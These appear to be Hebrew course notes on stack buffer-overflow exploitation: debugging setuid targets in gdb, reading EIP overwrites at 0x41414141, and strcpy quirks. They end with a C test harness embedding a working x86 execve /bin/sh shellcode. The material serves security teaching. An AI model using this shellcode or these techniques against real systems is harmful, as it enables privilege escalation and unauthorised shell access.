סרטון טוב שמסביר קצת על buffer overflow, ואיך הוא היה עובד פעם: <https://www.youtube.com/watch?v=1S0aBV-Waeo>

1. על מנת לכתוב מידע בינארי בפייתון 3, צריך להשתמש בsys.stdout במקום בפונקציה המובנית print שהייתה עובדת בפייתון 2. לכן, על מנת להדפיס מידע בינארי למסך, נכתוב

import sys

sys.stdout.buffer.write(binary\_output)

1. פרוסס חלש (לא של root) לא יכול לדבג פרוסס של root. לכן, אם התכנית שלכם רצה עם suid ואתם רוצים לדבג אותה, אתם יכולים להוריד את suid או להריץ את gdb כ-root.
2. אם אתם מגיעים למצב בו ה-gdb שלכם מקבל seg-fault, ומדפיס משהו שנראה ככה:  
   error reading variable: Cannot access memory at address 0x41414141  
   או לחילופין  
   Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()  
Z זה כנראה אומר שאתם דורסים כמו שצריך את המחסנית, אבל משום מה (תגלו למה!), ה-eip שלכם או ה-esp שלכם מקבל ערך מתוך התווים שהכנסתם לדריסה. כלומר, במקום שה-eip יצביע לכתובת חוקית שמכילה שלקוד (או כל דבר אחר), ה-eip מצביע לכתובת **לא חוקית**, שאתם תכננתם שהיא תהיה השלקוד.  
הסיבה לדבר הזה טמונה באפילוג (והפרולוג) של הפונקציה. שימו לב, שבמחשבים ישנים, כמו בסרטון יוטיוב שהראתי, יש אפילוג ופרולוג מאוד לא מתוחכמים ולכן קל יותר לדרוס אותם.

1. הפונקציה strcpy שמה null terminator בסוף המחרוזת יעד, כלומר אם אני דורס עם 100 בתים, בפועל נכתבים 101 בתים. (קוד מצורף למטה)
2. כאשר מריצים תהליכים ממשתמש שונה (כלומר, אחד מROOT ואחד מיוזר אחר לדוגמא), נראה שהמחסנית זזה הרבה. לכן, אם אתם מדבגים אז כדאי להריץ את שתי התכנות מאותו context. כמובן, זה לא חובה.

מצורף קוד שבודק האם שלקוד עובד - ניתן לשים בו שלקוד, והוא יקפוץ אליו. הקוד הנוכחי קופץ ל-/bin/sh. במידה ואין אפסים בשלקוד שלכם, ניתן להשתמש ב-strcpy במקום להעביר את הגודל.

#include <stdlib.h>

#include <string.h>

int jump\_to\_shellcode(const char\* shellcode,const size\_t size)

{

char buffer[1000];

memcpy(buffer, shellcode, size);

void (\*func)() = (void(\*)())buffer;

func();

}

int main()

{

jump\_to\_shellcode("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"

"\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"

"\x08\x8b\x56\x0c\xcd\x80\x31\xdb\x89\xd8"

"\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62"

"\x69\x6e\x2f\x73\x68", 45);

return 0;

}